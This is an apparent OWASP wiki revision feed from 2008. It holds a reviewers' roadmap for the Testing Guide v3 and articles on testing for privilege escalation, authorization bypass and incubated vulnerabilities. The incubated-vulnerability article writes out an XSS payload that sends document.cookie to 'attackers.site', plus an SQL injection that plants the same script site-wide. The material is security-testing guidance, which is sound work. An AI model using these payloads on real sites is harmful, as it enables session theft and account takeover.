Aug 31, 2008&lt;br /&gt;
* Appendix D&lt;br /&gt;
* Appendix C&lt;br /&gt;
* Appendix B&lt;br /&gt;
* Appendix A&lt;br /&gt;
* Chapter 5&lt;br /&gt;
** [[How to write the report of the testing]]&lt;br /&gt;
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.11 [[Testing for AJAX Vulnerabilities]]&lt;br /&gt;
*** There are mentioning of &amp;quot;attackers&amp;quot; but I think they are fine.&lt;br /&gt;
*** The subsection on Memory leaks is not complete.&lt;br /&gt;
** Section 4.11 [[Testing for AJAX]]&lt;br /&gt;
*** The subsection &amp;quot;Intercepting and Debugging JS code with Browsers&amp;quot; is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.&lt;br /&gt;
&lt;br /&gt;
Sep 02, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.10&lt;br /&gt;
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?&lt;br /&gt;
&lt;br /&gt;
Sep 04, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.9&lt;br /&gt;
** Section 4.8&lt;br /&gt;
*** I'm not sure if format string could be classified under subsection 4.8.14 &amp;quot;Buffer overflow testing&amp;quot;.&lt;br /&gt;
*** Subsecion 4.8.3: Incomplete&lt;br /&gt;
*** Subsection 4.8.4: Incomplete&lt;br /&gt;
*** Subsection 4.8.5: What is &amp;quot;data-plane input&amp;quot;?&lt;br /&gt;
&lt;br /&gt;
Sep 06, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.8&lt;br /&gt;
&lt;br /&gt;
Sep 07, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.7&lt;br /&gt;
** Section 4.6&lt;br /&gt;
*** Subsection 4.6.1: &amp;quot;Review code for path traversal&amp;quot; does not exist in the Code Review Guide, or the link the broken.&lt;br /&gt;
&lt;br /&gt;
'''Kevin Review:'''&lt;br /&gt;
----&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Questions: (Mat will answer it)&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Privilege_escalation_(OTG-AUTHZ-003)&amp;diff=38737</id>
		<title>Testing for Privilege escalation (OTG-AUTHZ-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Privilege_escalation_(OTG-AUTHZ-003)&amp;diff=38737"/>
				<updated>2008-09-07T10:36:10Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges/roles inside the application in ways that could allow privilege escalation attacks.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed and such elevation/changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.&lt;br /&gt;
&lt;br /&gt;
The degree of escalation depends on which privileges the attacker is authorized to possess and which privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.&lt;br /&gt;
&lt;br /&gt;
Usually, we refer to ''vertical escalation'' when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to ''horizontal escalation'' when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for role/privilege manipulation''' &amp;lt;br&amp;gt;&lt;br /&gt;
In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), to receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such function as another user in order to verify, for example, if it is possible to access a function that should not be permitted by the user's role/privilege (but might be permitted as another user).&lt;br /&gt;
&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
The following HTTP POST allows the user that belongs to grp001 to access order #0001:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 POST /user/viewOrder.jsp HTTP/1.1&lt;br /&gt;
 Host: www.example.com&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
 gruppoID=grp001&amp;amp;ordineID=0001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Verify if a user that does not belong to grp001 can modify the value of the parameters ‘gruppoID’ and ‘ordineID’ to gain access to that privileged data.&lt;br /&gt;
&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
The following server's answer shows a hidden field in the HTML returned to the user after a successful authentication.&lt;br /&gt;
&lt;br /&gt;
 HTTP/1.1 200 OK&lt;br /&gt;
 Server: Netscape-Enterprise/6.0&lt;br /&gt;
 Date: Wed, 1 Apr 2006 13:51:20 GMT&lt;br /&gt;
 Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com &lt;br /&gt;
 Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com&lt;br /&gt;
 Cache-Control: no-cache&lt;br /&gt;
 Pragma: No-cache &lt;br /&gt;
 Content-length: 247&lt;br /&gt;
 Content-Type: text/html&lt;br /&gt;
 Expires: Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;
 Connection: close&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;form  name=“autoriz&amp;quot; method=&amp;quot;POST&amp;quot; action = “visual.jsp&amp;quot;&amp;gt; &lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;profilo&amp;quot; value=&amp;quot;SistemiInf1&amp;quot;&amp;gt;                                         &lt;br /&gt;
 &amp;lt;body onload=&amp;quot;document.forms.autoriz.submit()&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;/td&amp;gt;&lt;br /&gt;
 &amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What if the tester modifies the value of the variable &amp;quot;profilo&amp;quot; to “SistemiInf9”? Is it possible to become administrator?&lt;br /&gt;
&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
In an environment in which the server sends an error message contained as value in a specific parameter in a set of answer's codes, as the following:&lt;br /&gt;
&lt;br /&gt;
 @0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValido`-1`0`0` Notifications`0`0`3`Command  Manager`0`0`0` StateToolsBar`0`0`0`    &lt;br /&gt;
 StateExecToolBar`0`0`0`FlagsToolBar`0&lt;br /&gt;
&lt;br /&gt;
The server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.&lt;br /&gt;
In this condition, verify that it is not possible to escalate privileges, by modifying the parameter values.&lt;br /&gt;
In this particular example, by modifying the `PVValido` value from '-1' to '0' (no error conditions), it may be possible to authenticate as administrator to the server.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The tester should verify the execution of successful privilege escalation attempts.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Wikipedia: http://en.wikipedia.org/wiki/Privilege_escalation&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP WebScarab: [[OWASP_WebScarab_Project]]&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002)&amp;diff=38736</id>
		<title>Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002)&amp;diff=38736"/>
				<updated>2008-09-07T10:24:02Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This kind of test focuses on verifying how the authorization schema has been implemented for each role/privilege to get access to reserved functions/resources.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For every specific role the tester holds during the assessment, for every function and request that the application executes during the post-authentication phase, it is necessary to verify:&lt;br /&gt;
* Is it possible to access that resource even if the user is not authenticated?&lt;br /&gt;
* Is it possible to access that resource after the log-out?&lt;br /&gt;
* Is it possible to access functions and resources that should be accessible to a user that holds a different role/privilege? &lt;br /&gt;
* Try to access the application as an administrative user and track all the administrative functions. Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?&lt;br /&gt;
* Is it possible to use these functionalities for a user with a different role and for whom that action should be denied?&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Admin functionalities''' &amp;lt;br&amp;gt;&lt;br /&gt;
For example, suppose that the 'AddUser.jsp' function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL:&lt;br /&gt;
* https://www.example.com/admin/addUser.jsp &lt;br /&gt;
&lt;br /&gt;
Then, the following HTTP request is generated when calling the AddUser function:&lt;br /&gt;
&lt;br /&gt;
 POST /admin/addUser.jsp HTTP/1.1&lt;br /&gt;
 Host: www.example.com&lt;br /&gt;
 [other HTTP headers]&lt;br /&gt;
&lt;br /&gt;
 userID=fakeuser&amp;amp;role=3&amp;amp;group=grp001&lt;br /&gt;
&lt;br /&gt;
What happens if a non-administrative user tries to execute that request? Will the user be created? If so, can the new user use her privileges?&lt;br /&gt;
&lt;br /&gt;
'''Testing for access to resources assigned to a different role''' &amp;lt;br&amp;gt;&lt;br /&gt;
Analyze, for example, an application that uses a shared directory to store temporary PDF files for different users. Suppose that documentABC.pdf should be accessible only by the user test1 with roleA. Verify if user test2 with roleB can access that resource.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Try to execute administrative functions or access administrative resources as a standard user.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP WebScarab: [[OWASP_WebScarab_Project]]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38735</id>
		<title>OWASP Testing Project v3 Review Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38735"/>
				<updated>2008-09-07T09:56:25Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''This page track all the update to the Testing Guide v3 during the Reviewing phase.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In particular the focus is:&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the content of each article&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the english sintax&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;attacker&amp;quot;, better &amp;quot;tester&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;we describe&amp;quot;, but &amp;quot;it is described&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Official Testing Guide Reviewers are:&lt;br /&gt;
* Nam Nguyen&lt;br /&gt;
* Kevin R.Fuller&lt;br /&gt;
* if you want to review it add your name please and keep track of updating&lt;br /&gt;
&lt;br /&gt;
'''Nam Review:'''&lt;br /&gt;
----&lt;br /&gt;
Aug 31, 2008&lt;br /&gt;
* Appendix D&lt;br /&gt;
* Appendix C&lt;br /&gt;
* Appendix B&lt;br /&gt;
* Appendix A&lt;br /&gt;
* Chapter 5&lt;br /&gt;
** [[How to write the report of the testing]]&lt;br /&gt;
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.11 [[Testing for AJAX Vulnerabilities]]&lt;br /&gt;
*** There are mentioning of &amp;quot;attackers&amp;quot; but I think they are fine.&lt;br /&gt;
*** The subsection on Memory leaks is not complete.&lt;br /&gt;
** Section 4.11 [[Testing for AJAX]]&lt;br /&gt;
*** The subsection &amp;quot;Intercepting and Debugging JS code with Browsers&amp;quot; is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.&lt;br /&gt;
&lt;br /&gt;
Sep 02, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.10&lt;br /&gt;
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?&lt;br /&gt;
&lt;br /&gt;
Sep 04, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.9&lt;br /&gt;
** Section 4.8&lt;br /&gt;
*** I'm not sure if format string could be classified under subsection 4.8.14 &amp;quot;Buffer overflow testing&amp;quot;.&lt;br /&gt;
*** Subsecion 4.8.3: Incomplete&lt;br /&gt;
*** Subsection 4.8.4: Incomplete&lt;br /&gt;
*** Subsection 4.8.5: What is &amp;quot;data-plane input&amp;quot;?&lt;br /&gt;
&lt;br /&gt;
Sep 06, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.8&lt;br /&gt;
&lt;br /&gt;
Sep 07, 2008&lt;br /&gt;
** Section 4.7&lt;br /&gt;
&lt;br /&gt;
'''Kevin Review:'''&lt;br /&gt;
----&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Questions: (Mat will answer it)&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38728</id>
		<title>OWASP Testing Project v3 Review Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38728"/>
				<updated>2008-09-07T08:21:13Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''This page track all the update to the Testing Guide v3 during the Reviewing phase.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In particular the focus is:&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the content of each article&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the english sintax&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;attacker&amp;quot;, better &amp;quot;tester&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;we describe&amp;quot;, but &amp;quot;it is described&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Official Testing Guide Reviewers are:&lt;br /&gt;
* Nam Nguyen&lt;br /&gt;
* Kevin R.Fuller&lt;br /&gt;
* if you want to review it add your name please and keep track of updating&lt;br /&gt;
&lt;br /&gt;
'''Nam Review:'''&lt;br /&gt;
----&lt;br /&gt;
Aug 31, 2008&lt;br /&gt;
* Appendix D&lt;br /&gt;
* Appendix C&lt;br /&gt;
* Appendix B&lt;br /&gt;
* Appendix A&lt;br /&gt;
* Chapter 5&lt;br /&gt;
** [[How to write the report of the testing]]&lt;br /&gt;
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.11 [[Testing for AJAX Vulnerabilities]]&lt;br /&gt;
*** There are mentioning of &amp;quot;attackers&amp;quot; but I think they are fine.&lt;br /&gt;
*** The subsection on Memory leaks is not complete.&lt;br /&gt;
** Section 4.11 [[Testing for AJAX]]&lt;br /&gt;
*** The subsection &amp;quot;Intercepting and Debugging JS code with Browsers&amp;quot; is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.&lt;br /&gt;
&lt;br /&gt;
Sep 02, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.10&lt;br /&gt;
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?&lt;br /&gt;
&lt;br /&gt;
Sep 04, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.9&lt;br /&gt;
** Section 4.8&lt;br /&gt;
*** I'm not sure if format string could be classified under subsection 4.8.14 &amp;quot;Buffer overflow testing&amp;quot;.&lt;br /&gt;
*** Subsecion 4.8.3: Incomplete&lt;br /&gt;
*** Subsection 4.8.4: Incomplete&lt;br /&gt;
*** Subsection 4.8.5: What is &amp;quot;data-plane input&amp;quot;?&lt;br /&gt;
&lt;br /&gt;
Sep 06, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.8&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Kevin Review:'''&lt;br /&gt;
----&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Questions: (Mat will answer it)&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=38727</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=38727"/>
				<updated>2008-09-07T08:00:40Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. This section describes a set of examples to test an Incubated Vulnerability.&lt;br /&gt;
&lt;br /&gt;
* The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.&lt;br /&gt;
* Secondly, once the attack vector was &amp;quot;recalled&amp;quot; the vector would need to be executed successfully. For example an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see [[Cross_site_scripting_AoC|Testing for Cross-site scripting]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy XSS-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===a. File Upload Sample:===&lt;br /&gt;
&lt;br /&gt;
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. &lt;br /&gt;
&lt;br /&gt;
Send your victim an email or other kind of alert in order to lead him/her to browse the page. &lt;br /&gt;
&lt;br /&gt;
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===b. XSS sample on a bulletin board===&lt;br /&gt;
&lt;br /&gt;
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; at ''attackers.site'' host listening for all incoming connections. &lt;br /&gt;
&lt;br /&gt;
3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Use cookies obtained to impersonate users at the vulnerable site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===c. SQL Injection sample===&lt;br /&gt;
&lt;br /&gt;
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2 [[Testing for SQL Injection]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.&lt;br /&gt;
&lt;br /&gt;
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database. &lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
      &lt;br /&gt;
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).&lt;br /&gt;
&lt;br /&gt;
===d. Misconfigured server===&lt;br /&gt;
&lt;br /&gt;
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). &lt;br /&gt;
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).&lt;br /&gt;
&lt;br /&gt;
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
Gray/white testing techniques will be the same as previously discussed.&lt;br /&gt;
* Input validation must be examined is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data is perssited via a &amp;quot;back door&amp;quot;.&lt;br /&gt;
* To combat the &amp;quot;back door&amp;quot; issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client and hance not execute.&lt;br /&gt;
&lt;br /&gt;
* See the [[Data Validation %28Code Review%29#Data validation strategy|Data Validation]] section of the Code review guide.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Most of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Advisories'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
* Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Web Application Security Consortium &amp;quot;Threat Classification, Cross-site scripting&amp;quot; - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml&lt;br /&gt;
* Amit Klein (Sanctum) &amp;quot;Cross-site Scripting Explained&amp;quot; - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* XSS-proxy - http://sourceforge.net/projects/xss-proxy&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* Burp Suite - http://portswigger.net/suite/&lt;br /&gt;
* Metasploit - http://www.metasploit.com/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
